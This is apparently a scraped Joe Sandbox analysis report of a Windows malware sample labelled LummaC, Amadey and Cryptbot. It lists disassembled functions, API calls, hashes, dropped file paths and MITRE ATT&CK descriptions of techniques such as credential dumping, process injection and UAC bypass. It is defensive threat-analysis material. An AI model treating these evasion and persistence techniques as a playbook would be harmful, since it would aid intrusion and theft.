Opcode ID: 83d35535e2e45dbef22a31a21786eae451c41a0a1d4fc3fb3cd92c4cd87734fc
Instruction ID: a5ed440a3f8e0cbee1528c81f823cb28de8840acc8a1a2cd56b20450ce0719be
Opcode Fuzzy Hash: 83d35535e2e45dbef22a31a21786eae451c41a0a1d4fc3fb3cd92c4cd87734fc
Instruction Fuzzy Hash: 87E02B43204320219232137BACC1A7F5689CFDD790B10282BF9C5C6366EBB89D9193A4

Function 00410B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00410B23

Strings

AutoIt, xrefs: 00410B17
Error allocating memory., xrefs: 00410B1C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: cb50a83f02b2caec3f16df6b81ef542a57b0bdc85a6d7d93c8dc3cfc2f29986f
Instruction ID: f48371f47be764a1c16dd011e142fc170e323bcafe3e94d68e3df1d96d2f036b
Opcode Fuzzy Hash: cb50a83f02b2caec3f16df6b81ef542a57b0bdc85a6d7d93c8dc3cfc2f29986f
Instruction Fuzzy Hash: 05E0D8322853183BD21137947C43FC97B848F05B10F24442BF7489D5C38EE6689006ED

Function 003D0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003CF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,003D0D71,?,?,?,003B100A), ref: 003CF7CE

IsDebuggerPresent.KERNEL32(?,?,?,003B100A), ref: 003D0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,003B100A), ref: 003D0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 003D0D7F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 57acffd49a304a807f6da15993ffa26e02993df0ea5e005aea199baff91a72a1
Instruction ID: a8bcacf5be89ace2d412ba3750f9a9f48c0d341fac7162e5bc664dbd80f19a27
Opcode Fuzzy Hash: 57acffd49a304a807f6da15993ffa26e02993df0ea5e005aea199baff91a72a1
Instruction Fuzzy Hash: 26E06DB42003018BE3659FB8E4447467BE5BB04B45F04897FE486C6761DBF4E4488BA5

Function 003CE398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 003CE3D5

Strings

8%H, xrefs: 003CE3CA
0%H, xrefs: 003CE3B5

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%H$8%H
API String ID: 1385522511-2670815269
Opcode ID: 2d119b7a68efc28c05740381e38745bb99576250a7a8a66e29b981b3d7b7d496
Instruction ID: 6200eec2ea60da9b3caf180ef2572f9e84ecf178cbe20876d67c185177dc2374
Opcode Fuzzy Hash: 2d119b7a68efc28c05740381e38745bb99576250a7a8a66e29b981b3d7b7d496
Instruction Fuzzy Hash: E9E02036490950DBC607A79CB65CF4D3395EB06720B90097EE001CB5D19BB43C41874C

Function 00423017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0042302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00423044

Strings

aut, xrefs: 00423038

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 545234886299f8143774d75c8490f7b5bb989b054ed6a64299cdd8f7ff246a82
Instruction ID: f817205db4c0d5d81647cfc36a9dcf6ea1efad07a048e72785b26b48673cb506
Opcode Fuzzy Hash: 545234886299f8143774d75c8490f7b5bb989b054ed6a64299cdd8f7ff246a82
Instruction Fuzzy Hash: DAD05B7590131467DA6097949C4EFC73A6CD705750F0001A17655D2091DAF49544CAD8

Function 0040D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0040D220

Strings

%.3d, xrefs: 0040D22B
X64, xrefs: 0040D2A8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 3d9b9175abe794d7fdacf1c35b3754867c3f95ad9b2e8ab918e308cd545bd89b
Instruction ID: 13ee48744e25b1f4f376efa4f073612c3718fad9bd1af980978c30708c423fa6
Opcode Fuzzy Hash: 3d9b9175abe794d7fdacf1c35b3754867c3f95ad9b2e8ab918e308cd545bd89b
Instruction Fuzzy Hash: 2CD01261C09118EACB9097D0DC45DB9B37CBB08301F6084BBF80AF1080D73CD90DAB6A

Function 00442356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044236C
PostMessageW.USER32(00000000), ref: 00442373

Part of subcall function 0041E97B: Sleep.KERNEL32 ref: 0041E9F3

Strings

Shell_TrayWnd, xrefs: 00442365

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 38bccba3f040fa15498115882c12fee801bf2c41e08d014d07cebf44f702a51f
Instruction ID: fdd2aec03b9d8036edd68a0697b30ea88d2798e40d0af0539595d5abada08a85
Opcode Fuzzy Hash: 38bccba3f040fa15498115882c12fee801bf2c41e08d014d07cebf44f702a51f
Instruction Fuzzy Hash: B9D0A97A382310BAE2A8A3329C4FFCA66149B01B00F0189267706AA0D0C8B4A8008A0C

Function 00442322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044233F

Part of subcall function 0041E97B: Sleep.KERNEL32 ref: 0041E9F3

Strings

Shell_TrayWnd, xrefs: 00442325

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ed571a6f868414b470a07ced33773ae46b2b00104a7a4fa7a6217c14eb79d873
Instruction ID: 8257f545577a0905358945cbbc2e60f57d85569a9fb73039028efe1849a8948d
Opcode Fuzzy Hash: ed571a6f868414b470a07ced33773ae46b2b00104a7a4fa7a6217c14eb79d873
Instruction Fuzzy Hash: 02D0227A391310B7E2A8B332DC4FFCA7A149B00B00F018927770AAA0D0C8F4A800CA0C

Function 003EBDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 003EBE93
GetLastError.KERNEL32 ref: 003EBEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 003EBEFC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: ef18197f22e49ae8ed01d02821fdfc0e1d33e663fd69e5a94e99a0269b17e337
Instruction ID: ab17732e96d0c685c4db1ebdcbdb1bfdb12cc2da3e7d76505c6aba14aab090b2
Opcode Fuzzy Hash: ef18197f22e49ae8ed01d02821fdfc0e1d33e663fd69e5a94e99a0269b17e337
Instruction Fuzzy Hash: 3441E8356012A6AFCF238F66DC44ABBFBA4AF41310F154369F9595B1E1DB308C01CBA0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\SillyShelf[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
